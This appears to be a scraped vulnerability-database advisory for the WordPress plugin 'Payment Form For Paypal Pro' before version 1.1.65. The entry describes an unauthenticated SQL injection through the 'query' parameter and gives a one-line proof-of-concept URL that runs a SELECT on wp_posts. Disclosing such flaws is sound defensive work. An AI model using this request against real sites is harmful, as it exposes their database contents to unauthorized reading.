Lucene search

K
wpexploitRishiWPEX-ID:33414D86-2BAD-4B8E-9BC5-9A92811ABF9B
HistoryJul 02, 2020 - 12:00 a.m.

Payment Form For Paypal Pro < 1.1.65 - Unauthenticated SQL Injection

2020-07-0200:00:00
Rishi
51

0.68 Medium

EPSS

Percentile

98.0%

The ‘query’ parameter allowed for any unauthenticated user to perform SQL queries with result output to a web page in JSON format.

https://example.com/?cffaction=get_data_from_database&query=SELECT%20*%20from%20wp_posts

0.68 Medium

EPSS

Percentile

98.0%

Related for WPEX-ID:33414D86-2BAD-4B8E-9BC5-9A92811ABF9B